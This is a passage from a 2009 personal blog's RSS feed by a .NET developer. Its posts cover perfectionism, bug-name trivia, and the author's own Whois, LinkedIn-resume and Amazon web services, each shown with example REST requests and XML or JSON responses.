src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/G3rL7auZ7uM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/10/05/the-sheep-dip-developer-boot-camps-training-events-and-evangelism/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/10/05/the-sheep-dip-developer-boot-camps-training-events-and-evangelism/</feedburner:origLink></item>
		<item>
		<title>Perfectionism: for the Insane?</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/H776-G-zXTU/</link>
		<comments>http://adam.kahtava.com/journal/2009/10/01/perfectionism/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 16:09:16 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1907</guid>
		<description><![CDATA[Perfectionism is the voice of the oppressor, the enemy of the people. It will keep you cramped and insane your whole life ... I think Perfectionism is based on an obsessive belief that if you run careful enough ... you won't have to die. The truth is that you will die anyway and that a lot [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Perfectionism is the voice of the oppressor, the enemy of the people. It will keep you cramped and insane your whole life ... I think Perfectionism is based on an obsessive belief that if you run careful enough ... you won't have to die. The truth is that you will die anyway and that a lot of people [are going to] have a lot more fun [than you] ... -  <a href="http://en.wikipedia.org/wiki/Anne_Lamott">Anne Lamott</a>, <a href="http://www.amazon.com/Bird-Some-Instructions-Writing-Life/dp/0385480016/">Bird by Bird: Some Instructions on Writing and Life</a></p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H776-G-zXTU:MU9ps_GKkZM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H776-G-zXTU:MU9ps_GKkZM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=H776-G-zXTU:MU9ps_GKkZM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H776-G-zXTU:MU9ps_GKkZM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=H776-G-zXTU:MU9ps_GKkZM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H776-G-zXTU:MU9ps_GKkZM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=H776-G-zXTU:MU9ps_GKkZM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=H776-G-zXTU:MU9ps_GKkZM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/H776-G-zXTU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/10/01/perfectionism/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/10/01/perfectionism/</feedburner:origLink></item>
		<item>
		<title>Introducing my Whois Service: Customize Your Site Content Based On Referrals, Location, and More</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/k2k6-ZbVN_E/</link>
		<comments>http://adam.kahtava.com/journal/2009/09/30/introducing-my-whois-service-customize-your-site-content-based-on-referrals-location-and-more/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 16:00:31 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ADC Services]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[RESTful]]></category>
		<category><![CDATA[Services]]></category>
		<category><![CDATA[WCF]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1892</guid>
		<description><![CDATA[Services-services-services! Enough already! Today I introduce my Whois and Enhanced Whois Web Service. The Enhanced Whois web service lets me know where my visitor are geographically located, provides filtering capabilities, and can act on referrals. This will allow me (or you) to personalize site greetings, hide my email address (or content) based on the visitor, and provide [...]]]></description>
			<content:encoded><![CDATA[<p>Services-services-services! Enough already! Today I introduce my Whois and Enhanced Whois Web Service.</p>
<p>The Enhanced Whois web service lets me know where my visitor are geographically located, provides filtering capabilities, and can act on referrals. This will allow me (or you) to personalize site greetings, hide my email address (or content) based on the visitor, and provide a unique personal experience. Alternately I can use this service as a classic <a href="http://en.wikipedia.org/wiki/WHOIS">Whois</a> service.</p>
<h3>How it works.</h3>
<p>We're not anonymous on the internet and IP addresses are what uniquely defines your internet existence. <a href="http://en.wikipedia.org/wiki/WHOIS">Whois</a> services let us determine the registrant of internet resources.</p>
<p>Using my Whois service you can:</p>
<p><strong>View your enhanced whois record.</strong></p>
<p>By the visitor's IP address (your IP) URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/whois/enhanced.<em>{xml|json}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/whois/enhanced.xml">http://adam.kahtava.com/services/whois/enhanced.xml</a></p>
<p style="padding-left: 30px;"><a href="http://adam.kahtava.com/services/resume/linkedin/adam-kahtava.xml"></a>Response (using my IP):</p>
<pre style="padding-left: 30px;">&lt;WhoisEnhancedRecord xmlns="http://adam.kahtava.com/services/whois" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;City&gt;Calgary&lt;/City&gt;
  &lt;Country&gt;Canada&lt;/Country&gt;
  &lt;FilterMatches i:nil="true"/&gt;
  &lt;FriendlyMatches i:nil="true"/&gt;
  &lt;IsFilterMatch&gt;false&lt;/IsFilterMatch&gt;
  &lt;IsFriendly&gt;false&lt;/IsFriendly&gt;
  &lt;Organization&gt;Shaw Communications Inc.&lt;/Organization&gt;
  &lt;StateProvince&gt;AB&lt;/StateProvince&gt;
&lt;/WhoisEnhancedRecord&gt;</pre>
<p>By the visitor's IP address specifying a referrer, and a filter URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/whois/enhanced.<em>{xml|json}</em>?filters=</span><span style="text-decoration: underline;"><em>{filters,filters,...}</em></span><span style="text-decoration: underline;">&amp;referrer=</span><span style="text-decoration: underline;"><em>{referrer}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/whois/enhanced/xml?query=74.125.127.99&amp;filters=CA&amp;referrer=Twitter">http://adam.kahtava.com/services/whois/enhanced/xml?filters=CA&amp;referrer=Twitter</a></p>
<p style="padding-left: 30px;">Response (from an IP owned by Google, with a filter for California, and a referrer of Twitter specified):</p>
<pre style="padding-left: 30px; ">&lt;WhoisEnhancedRecord xmlns="http://adam.kahtava.com/services/whois" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;City&gt;Mountain View&lt;/City&gt;
  &lt;Country&gt;United states&lt;/Country&gt;
  &lt;FilterMatches&gt;
    &lt;string&gt;StateProvince&lt;/string&gt;
  &lt;/FilterMatches&gt;
  &lt;FriendlyMatches&gt;
    &lt;string&gt;<strong>google</strong>&lt;/string&gt;
    &lt;string&gt;<strong>twitter</strong>&lt;/string&gt;
  &lt;/FriendlyMatches&gt;
  &lt;IsFilterMatch&gt;true&lt;/IsFilterMatch&gt;
  &lt;IsFriendly&gt;true&lt;/IsFriendly&gt;
  &lt;Organization&gt;Google Inc.&lt;/Organization&gt;
  &lt;StateProvince&gt;<strong>CA</strong>&lt;/StateProvince&gt;
&lt;/WhoisEnhancedRecord&gt;</pre>
<p><strong>View your classic Whois record.</strong></p>
<p>By the visitor's IP address (your IP) URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/whois.<em>{xml|json}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/whois.xml">http://adam.kahtava.com/services/whois.xml</a></p>
<div style="padding-left: 30px;">Response (using my IP):</div>
<pre style="padding-left: 30px;">&lt;WhoisRecord xmlns="http://adam.kahtava.com/services/whois" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;DomainName&gt;68.146.10.100&lt;/DomainName&gt;
  &lt;RegistryData&gt;
  &lt;AbuseContact&gt; ... &lt;/AbuseContact&gt;
  &lt;AdministrativeContact i:nil="true"/&gt;
  &lt;BillingContact i:nil="true"/&gt;
  &lt;CreatedDate&gt;2002-06-03&lt;/CreatedDate&gt;
  &lt;RawText&gt; ... &lt;/RawText&gt;
  &lt;Registrant&gt;
    &lt;Address&gt;Suite 800630 - 3rd Ave. SW&lt;/Address&gt;
    &lt;City&gt;Calgary&lt;/City&gt;
    &lt;Country&gt;CA&lt;/Country&gt;
    &lt;Name&gt;Shaw Communications Inc.&lt;/Name&gt;
    &lt;PostalCode&gt;T2P-4L4&lt;/PostalCode&gt;
    &lt;StateProv&gt;AB&lt;/StateProv&gt;
  &lt;/Registrant&gt;
  ...
&lt;/WhoisRecord&gt;</pre>
<h3>So... why is this useful?</h3>
<p>This is the first step for this site's personalization - if I know where the user came from, where the user is geographically located, and have the capabilities to filter their Whois responses, then I can tailor my content to the user. For example: if someone from Google landed on my site I could mention that I'd love to work there and provide my email address and phone number, similarly if someone from Calgary landed on my site I could provide my <a href="http://www.google.com/calendar/embed?src=kahtava.com_3b7tc69opbskf5cqgjflihhqpk@group.calendar.google.com&amp;gsessionid=KwiJcMzxbmfA1s3H-Nfjbg">public calendar of local events</a>. The possibilities are endless.</p>
<p>This service will be wrapped by a JavaScript widget that will take care of the asynchronous service polling, but that sounds like another post.</p>
<p>Contribute, view, or download the openly available source code <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.Whois.Service/Source/Service">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=k2k6-ZbVN_E:KGW0N1VWY3E:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=k2k6-ZbVN_E:KGW0N1VWY3E:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=k2k6-ZbVN_E:KGW0N1VWY3E:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=k2k6-ZbVN_E:KGW0N1VWY3E:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=k2k6-ZbVN_E:KGW0N1VWY3E:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=k2k6-ZbVN_E:KGW0N1VWY3E:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=k2k6-ZbVN_E:KGW0N1VWY3E:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=k2k6-ZbVN_E:KGW0N1VWY3E:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/k2k6-ZbVN_E" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/09/30/introducing-my-whois-service-customize-your-site-content-based-on-referrals-location-and-more/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/09/30/introducing-my-whois-service-customize-your-site-content-based-on-referrals-location-and-more/</feedburner:origLink></item>
		<item>
		<title>Introducing my LinkedIn Resume Service: View Your Resume</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/LxN_zXfknQI/</link>
		<comments>http://adam.kahtava.com/journal/2009/09/24/introducing-my-linkedin-resume-service-view-your-resume/#comments</comments>
		<pubDate>Thu, 24 Sep 2009 16:00:19 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ADC Services]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[RESTful]]></category>
		<category><![CDATA[Services]]></category>
		<category><![CDATA[WCF]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1880</guid>
		<description><![CDATA[In my last post I mentioned that I was creating a couple web services that would hopefully bring together my online portfolio. Today I introduce my LinkedIn Resume Web Service. How it works. If you have a resume on LinkedIn and you've added services@adamdotcom.com as a contact then you can: View your resume - retrieve your [...]]]></description>
			<content:encoded><![CDATA[<p>In my <a href="http://adam.kahtava.com/journal/2009/09/15/introducing-my-amazon-web-service-find-your-profile-view-your-wishlist-or-reviews/">last post</a> I mentioned that I was creating a couple web services that would hopefully bring together my online portfolio. Today I introduce my LinkedIn Resume Web Service.</p>
<h3>How it works.</h3>
<p>If you have a resume on <a href="http://www.linkedin.com/profile?viewProfile=&amp;key=9962574">LinkedIn</a> and you've added <em>services@adamdotcom.com</em> as a contact then you can:</p>
<p><strong>View your resume</strong> - retrieve your Resume by first and last name.</p>
<p>By first and last name URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/resume/linkedin/<em>{firstName-lastName}</em>.<em>{xml|json}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/resume/linkedin/adam-kahtava.xml">http://adam.kahtava.com/services/resume/linkedin/adam-kahtava.xml</a></p>
<p style="padding-left: 30px;"><a href="http://adam.kahtava.com/services/resume/linkedin/adam-kahtava.xml"></a>Response:</p>
<pre style="padding-left: 30px;">&lt;Resume xmlns="http://adam.kahtava.com/services/resume" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;Educations&gt;
    &lt;Education&gt;
      &lt;Certificate&gt;Computer Programming and Analysis&lt;/Certificate&gt;
      &lt;Institute&gt;Seneca College of Applied Arts and Technology&lt;/Institute&gt;
    &lt;/Education&gt;
    &lt;Education&gt;
      &lt;Certificate&gt;Bachelor of Science (Honours), Computer Science&lt;/Certificate&gt;
      &lt;Institute&gt;Trent University&lt;/Institute&gt;
    &lt;/Education&gt;
  &lt;/Educations&gt;
  &lt;Positions&gt;
    &lt;Position&gt;
      &lt;Company&gt;Corbis ...</pre>
<h3>Wow that was exciting, so now what?</h3>
<p>Well.. Head on over to my <a href="http://adam.kahtava.com/resume/curriculum-vitae/software-developer/">resume</a> page. My resume is being pulled from LinkedIn through this very service.</p>
<p>Contribute, view, or download the openly available source code <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.Resume.Service/Source/Service">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LxN_zXfknQI:a6EK1WJE3qc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LxN_zXfknQI:a6EK1WJE3qc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=LxN_zXfknQI:a6EK1WJE3qc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LxN_zXfknQI:a6EK1WJE3qc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=LxN_zXfknQI:a6EK1WJE3qc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LxN_zXfknQI:a6EK1WJE3qc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=LxN_zXfknQI:a6EK1WJE3qc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=LxN_zXfknQI:a6EK1WJE3qc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/LxN_zXfknQI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/09/24/introducing-my-linkedin-resume-service-view-your-resume/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/09/24/introducing-my-linkedin-resume-service-view-your-resume/</feedburner:origLink></item>
		<item>
		<title>Introducing my Amazon Web Service: Find Your Profile, View Your Wishlist or Reviews</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/FBqYBhaRQQQ/</link>
		<comments>http://adam.kahtava.com/journal/2009/09/15/introducing-my-amazon-web-service-find-your-profile-view-your-wishlist-or-reviews/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 16:00:12 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ADC Services]]></category>
		<category><![CDATA[Amazon]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[RESTful]]></category>
		<category><![CDATA[Services]]></category>
		<category><![CDATA[WCF]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1822</guid>
		<description><![CDATA[My online portfolio is increasingly scattered through the internet (reviews and wishlist are on Amazon, source code on github / Google Projects, resume on LinkedIn, and so on). I've been working on a couple services that will eventually pull my portfolio together while keeping a single point of reference, and... I'm sharing these services. Introducing [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><img src="http://awsmedia.s3.amazonaws.com/logo_aws.gif" alt="" /></div>
<p>My online portfolio is increasingly scattered through the internet (<a href="http://www.amazon.com/gp/cdp/member-reviews/A2JM0EQJELFL69/ref=cm_pdp_rev_all?ie=UTF8&amp;sort_by=MostRecentReview">reviews</a> and <a href="http://www.amazon.com/Adam-Kahtava/wishlist/3JU6ASKNUS7B8/ref=cm_pdp_wish_all_itms">wishlist</a> are on Amazon, source code on <a href="http://github.com/adamdotcom">github</a> / Google Projects, resume on <a href="http://www.linkedin.com/pub/adam-kahtava/3/405/466">LinkedIn</a>, and so on). I've been working on a couple services that will eventually pull my portfolio together while keeping a single point of reference, and... I'm sharing these services.</p>
<p>Introducing my Amazon Web Service.</p>
<h3>How it works.</h3>
<p>Basically if you have a Wishlist or a Review list on Amazon you can:</p>
<p><strong>Discover your profile</strong> - retrieve your ListId (for WishLists) or CustomerId (for Reviews):</p>
<p>Discovery URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/amazon/discover/user/</span><em><span style="text-decoration: underline;">{user-name}</span></em><span style="text-decoration: underline;">.</span><em><span style="text-decoration: underline;">{xml|json}</span></em></p>
<p>Example:</p>
<p style="padding-left: 30px; ">Request: <a href="http://adam.kahtava.com/services/amazon/discover/user/adam-kahtava.xml">http://adam.kahtava.com/services/amazon/discover/user/adam-kahtava.xml</a></p>
<p style="padding-left: 30px; ">Response:</p>
<pre style="padding-left: 30px; ">&lt;Profile xmlns="http://adam.kahtava.com/services/amazon" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;CustomerId&gt;A2JM0EQJELFL69&lt;/CustomerId&gt;
  &lt;ListId&gt;3JU6ASKNUS7B8&lt;/ListId&gt;
&lt;/Profile&gt;</pre>
<p><strong>View your Reviews - <span style="font-weight: normal;">retrieve your Reviews by username or Amazon CustomerId.</span></strong></p>
<p>By customerId URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/amazon/reviews/id/<em>{customerId}</em>.<em>{xml|json}</em></span></p>
<p>By username URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/amazon/reviews/user/<em>{user-name}</em>.<em>{xml|json}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/amazon/reviews/id/A2JM0EQJELFL69.xml">http://adam.kahtava.com/services/amazon/reviews/id/A2JM0EQJELFL69.xml</a></p>
<p style="padding-left: 30px;">Response:</p>
<pre style="padding-left: 30px;">&lt;Reviews xmlns="http://adam.kahtava.com/services/amazon" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"&gt;
  &lt;Review&gt;
    &lt;ASIN&gt;0321125215&lt;/ASIN&gt;
    &lt;Authors&gt;Eric Evans&lt;/Authors&gt;
    &lt;AuthorsMLA&gt;Evans Eric.&lt;/AuthorsMLA&gt;
    &lt;Content&gt;Through this book Evan's ...</pre>
<p><strong>View your Wishlist - <span style="font-weight: normal;">view your Wishlist by username or Amazon ListId.</span></strong></p>
<p>By listId URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/amazon/wishlist/id/<em>{listId}</em>.<em>{xml|json}</em></span></p>
<p>By username URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/amazon/wishlist/user/<em>{user-name}</em>.<em>{xml|json}</em></span></p>
<p>Example:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/amazon/wishlist/user/adam-kahtava.json">http://adam.kahtava.com/services/amazon/wishlist/user/adam-kahtava.json</a></p>
<p style="padding-left: 30px;">Response:</p>
<pre style="padding-left: 30px;">[{"ASIN":"0471467413","Authors":"Mostafa Abd-El-Barr, Hesham El-Rewini", ...</pre>
<h3>So now what?</h3>
<p>Head on over to my <a href="http://adam.kahtava.com/book-reviews/">Reviews</a> and <a href="http://adam.kahtava.com/reading-lists/recommended-and-wishlist/">Reading List</a> pages. These pages make use of the data from this service. I should also mention that, this service was built on a previous iteration of my Amazon Web Service (<a href="http://adam.kahtava.com/journal/2008/10/06/how-to-display-your-amazon-reviews-and-wish-list-on-your-site-using-amazons-web-services/">How To Display Your Amazon Reviews and Wish List Using Amazon’s Web Services</a>).</p>
<p>Contribute, view, or download the openly available source code <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.Amazon.Service/Source/Service">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=FBqYBhaRQQQ:MCZJhGZ7Ctc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=FBqYBhaRQQQ:MCZJhGZ7Ctc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=FBqYBhaRQQQ:MCZJhGZ7Ctc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=FBqYBhaRQQQ:MCZJhGZ7Ctc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=FBqYBhaRQQQ:MCZJhGZ7Ctc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=FBqYBhaRQQQ:MCZJhGZ7Ctc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=FBqYBhaRQQQ:MCZJhGZ7Ctc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=FBqYBhaRQQQ:MCZJhGZ7Ctc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/FBqYBhaRQQQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/09/15/introducing-my-amazon-web-service-find-your-profile-view-your-wishlist-or-reviews/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/09/15/introducing-my-amazon-web-service-find-your-profile-view-your-wishlist-or-reviews/</feedburner:origLink></item>
		<item>
		<title>Fun with “Bugs Bugs Bugs, If I had them all in jugs”, Bugbears, Bohrbugs, Schroedinbugs</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/Fk8Z-3rUoTA/</link>
		<comments>http://adam.kahtava.com/journal/2009/09/14/fun-with-bugs-bugs-bugs-if-i-had-them-all-in-jugs-bugbears-bohrbugs-schroedinbugs/#comments</comments>
		<pubDate>Mon, 14 Sep 2009 16:00:14 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Quality Assurance]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1818</guid>
		<description><![CDATA[Some software bug trivia. Where did the term 'bug' originate? According to Phil Factor: The word 'bug' actually is short for Bugbear, sometimes found as Bugaboo. The meaning is much closer to 'Gremlin', where the people who worked on engineering prototypes often grew to suspect that the problems were due to malicious spooks. I sometimes [...]]]></description>
			<content:encoded><![CDATA[<p>Some software bug trivia.</p>
<p><strong>Where did the term </strong><strong>'bug'</strong><strong> originate? </strong></p>
<p>According to Phil Factor:</p>
<blockquote><p>The word 'bug' actually is short for Bugbear, sometimes found as Bugaboo. The meaning is much closer to 'Gremlin', where the people who worked on engineering prototypes often grew to suspect that the problems were due to malicious spooks. I sometimes still hear it said that a particular piece of software is cursed with malicious spirits. The 'Bug' or 'Bogey' part of the word is traceable back to the fifteenth century in the meaning of 'Hobogoblin', devil or ghost. ... the word 'Bugbear', first recorded in the sixteenth century, is still used in referring to problems with machinery. - <a href="http://www.amazon.com/Confessions-Manager-Phil-Factor/dp/1906434190">Confessions of an IT Manager, Phil Factor </a></p></blockquote>
<p><strong>How many bug types can you name off?</strong></p>
<p>Wikipedia lists six types of bugs: <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Heisenbug">Heisenbugs</a>, <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Bohrbug">Bohrbugs</a>, <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Mandelbug">Mandelbugs</a>, <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Schroedinbug">Schroedinbugs</a>, <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Phase_of_the_Moon_bug">Phase of the Moon bugs</a>, and <a href="http://en.wikipedia.org/wiki/Unusual_software_bug#Statistical_bug">Statistical bugs</a>.</p>
<p><strong>Which music should you listen to while squishing software bugs?</strong></p>
<p><a href="http://www.youtube.com/v/C4lN_nCYCHI&amp;amp;hl=en&amp;amp;fs=1&amp;amp;rel=0">The Bug Song</a> by Canada's Stompin' Tom Connors of course.</p>
<div style="float: right;"><object width="213" height="172" data="http://www.youtube.com/v/C4lN_nCYCHI&amp;hl=en&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/C4lN_nCYCHI&amp;hl=en&amp;fs=1&amp;rel=0" /><param name="allowfullscreen" value="true" /></object></div>
<blockquote><p>Bugs Bugs Bugs, If I had them all in jugs<br />
I'd dig dig dig, till a big big hole was dug dug dug dug--<br />
And that would be the end of the bug song...repeat</p></blockquote>
<div class="feedflare">
